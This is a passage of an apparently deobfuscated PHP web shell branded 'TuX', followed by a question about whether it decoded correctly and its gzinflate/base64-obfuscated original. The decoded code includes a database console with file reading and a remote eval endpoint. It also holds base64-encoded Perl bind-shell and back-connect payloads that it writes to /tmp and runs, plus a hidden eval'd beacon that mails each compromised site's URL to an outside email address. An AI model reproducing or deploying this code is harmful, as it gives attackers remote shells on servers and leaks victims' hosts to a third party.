						$_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
					else
						$_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
					echo "<br><br>";
				}
				if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
					$db->query(@$_POST['p2']);
					if($db->res !== false) {
						$title = false;
						echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
						$line = 1;
						while($item = $db->fetch())	{
							if(!$title)	{
								echo '<tr>';
								foreach($item as $key => $value)
									echo '<th>'.$key.'</th>';
								reset($item);
								$title=true;
								echo '</tr><tr>';
								$line = 2;
							}
							echo '<tr class="l'.$line.'">';
							$line = $line==1?2:1;
							foreach($item as $key => $value) {
								if($value == null)
									echo '<td><i>null</i></td>';
								else
									echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
							}
							echo '</tr>';
						}
						echo '</table>';
					} else {
						echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
					}
				}
			echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
                if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
                    echo htmlspecialchars($_POST['p2']);
                echo "</textarea><br/><input type=submit value='Execute'>";
				echo "</td></tr>";
			}
			echo "</table></form><br/>";
            if($_POST['type']=='mysql') {
                $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
                if($db->fetch())
                   echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input  class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
            }
			if(@$_POST['p1'] == 'loadfile') {
				$file = $db->loadFile($_POST['p2']);
				echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
			}
	} else {
        echo htmlspecialchars($db->error());
    }
	echo '</div>';
	TuXFooter();
}
function actionNetwork() {
	TuXHeader();
	$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";

$fxbuff = "JHZpc2l0YyA9ICRfQ09PS0lFWyJ2aXNpdHMiXTsNCmlmICgkdmlzaXRjID09ICIiKSB7DQogICR2aXNpdGMgID0gMDsNCiAgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsNCiAgJHdlYiAgICAgPSAkX1NFUlZFUlsiSFRUUF9IT1NUIl07DQogICRpbmogICAgID0gJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl07DQogICR0YXJnZXQgID0gcmF3dXJsZGVjb2RlKCR3ZWIuJGluaik7DQogICRqdWR1bCAgID0gIkZ4MjlTaGVsbCBodHRwOi8vJHRhcmdldCBieSAkdmlzaXRvciI7DQogICRib2R5ICAgID0gIkJ1ZzogJHRhcmdldCBieSAkdmlzaXRvcjxicj4iOw0KICBpZiAoIWVtcHR5KCR3ZWIpKSB7IEBtYWlsKCJoYXNpbGtlcmpha2VyYXNAeW1haWwuY29tIiwkanVkdWwsJGJvZHkpOyB9DQp9DQplbHNlIHsgJHZpc2l0YysrOyB9DQpAc2V0Y29va2llKCJ2aXNpdHoiLCR2aXNpdGMpOw=="; eval(base64_decode($fxbuff));

$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
	echo "<h1>Network tools</h1><div class=content>
	<form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
	<span>Bind port to /bin/sh [perl]</span><br/>
	Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
	</form>
	<form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
	<span>Back-connect  [perl]</span><br/>
	Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
	</form><br>";
	if(isset($_POST['p1'])) {
		function cf($f,$t) {
			$w = @fopen($f,"w") or @function_exists('file_put_contents');
			if($w){
				@fwrite($w,base64_decode($t));
				@fclose($w);
			}
		}
		if($_POST['p1'] == 'bpp') {
			cf("/tmp/bp.pl",$bind_port_p);
			$out = TuXEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
			echo "<pre class=ml1>$out
".TuXEx("ps aux | grep bp.pl")."</pre>";
            unlink("/tmp/bp.pl");
		}
		if($_POST['p1'] == 'bcp') {
			cf("/tmp/bc.pl",$back_connect_p);
			$out = TuXEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
			echo "<pre class=ml1>$out
".TuXEx("ps aux | grep bc.pl")."</pre>";
            unlink("/tmp/bc.pl");
		}
	}
	echo '</div>';
	TuXFooter();
}
function actionRC() {
	if(!@$_POST['p1']) {
		$a = array(
			"uname" => php_uname(),
			"php_version" => phpversion(),
			"TuX_version" => TuX_VERSION,
			"safemode" => @ini_get('safe_mode')
		);
		echo serialize($a);
	} else {
		eval($_POST['p1']);
	}
}
if( empty($_POST['a']) )
	if(isset($default_action) && function_exists('action' . $default_action))
		$_POST['a'] = $default_action;
	else
		$_POST['a'] = 'SecInfo';
if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
	call_user_func('action' . $_POST['a']);
exit;
?>

Did this file decode correctly?

Original Code

<?php
@error_reporting(0);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
$xd='ck';$xc='pa';$xr=$xc.$xd;$xf=$xr("H*","707265675f7265706c616365");
$xf("\x2f.\052/\x65","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'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